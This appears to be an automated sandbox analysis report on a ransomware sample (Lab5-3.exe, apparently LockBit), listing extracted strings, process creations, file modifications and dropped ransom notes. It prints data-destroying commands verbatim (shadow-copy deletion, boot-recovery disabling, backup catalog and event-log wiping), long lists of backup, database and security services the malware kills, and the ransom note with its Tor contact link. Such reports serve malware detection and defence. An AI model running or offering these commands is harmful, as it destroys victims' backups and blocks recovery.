recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000022.00000000.1853803315.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000028.00000002.3209902730.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000028.00000000.1878107343.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 00000028.00000003.2036100405.0000000018018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33N
Source: Lab5-3.exe, 00000028.00000003.2389924852.000000001801D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33N
Source: Lab5-3.exe, 00000028.00000003.2003212823.0000000018018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33N
Source: Lab5-3.exe, 00000028.00000003.2279748730.0000000018018000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33N
Source: Lab5-3.exe, 00000028.00000002.3228029792.000000001801E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet33N
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: vssadmin.exe, 00000031.00000002.1918746185.0000015F74035000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmindeleteshadows/all/quiet
Source: vssadmin.exe, 00000031.00000002.1918017383.0000015F73C70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet WinSta0\Defaultz
Source: vssadmin.exe, 00000031.00000002.1918017383.0000015F73C70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: vssadmin.exe, 00000031.00000002.1918017383.0000015F73C70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet >
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: vssadmin.exe, 00000036.00000002.1937953563.0000016319C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadminDeleteShadows/All/Quiet:/
Source: vssadmin.exe, 00000036.00000002.1921405026.00000163198F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quietvssadmin Delete Shadows /All /QuietWinSta0\DefaultD
Source: vssadmin.exe, 00000036.00000002.1921405026.00000163198F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: vssadmin.exe, 0000003F.00000002.1955248801.0000019D9BF40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quietvssadmin Delete Shadows /All /QuietWinSta0\Default
Source: vssadmin.exe, 0000003F.00000002.1955248801.0000019D9BF40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin Delete Shadows /All /Quiet
Source: vssadmin.exe, 0000003F.00000002.1955724025.0000019D9C285000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadminDeleteShadows/All/Quiet
Source: Lab5-3.exe	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c

May disable shadow drive data (uses vssadmin)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin Delete Shadows /All /Quiet

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\Lab5-3.exe	File moved: C:\Users\user\Desktop\FENIVHOIKN.png	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File moved: C:\Users\user\Desktop\XZXHAVGRAG\UMMBDNEQBN.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File moved: C:\Users\user\Desktop\AIXACVYBSB\XZXHAVGRAG.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\ONBQCLYSPU.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File moved: C:\Users\user\Desktop\UMMBDNEQBN.xlsx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\cs-cz\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\css\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\tr-tr\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
Source: C:\Users\user\Desktop\Lab5-3.exe	File dropped: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\reviews\js\nls\Restore-My-Files.txt -> decryptor.top/?bc76d224712a7481bc6e90acb6d18e50\| 2. follow the instructions on this page2) through a tor browser - recommended\| 1. download tor browser - https://www.torproject.org/ and install it.\| 2. open link in tor browser - http://lockbitks2tvnmwk.onion/?bc76d224712a7481bc6e90acb6d18e50 this link only works in tor browser! \| 3. follow the instructions on this page ### attention! ### # lockbit-decryptor.top may be blocked. we recommend using a tor browser to access the site # do not rename encrypted files. # do not try to decrypt using third party software, it may cause permanent data loss. # decryption of your files with the help of third parties may cause increased price(they add their fee to our). # tor browser may be blocked in your country or corporate network. use https://bridges.torproject.org or use tor browser over vpn. # tor browser user manual https://tb-manual.torproject.org/about	Jump to dropped file
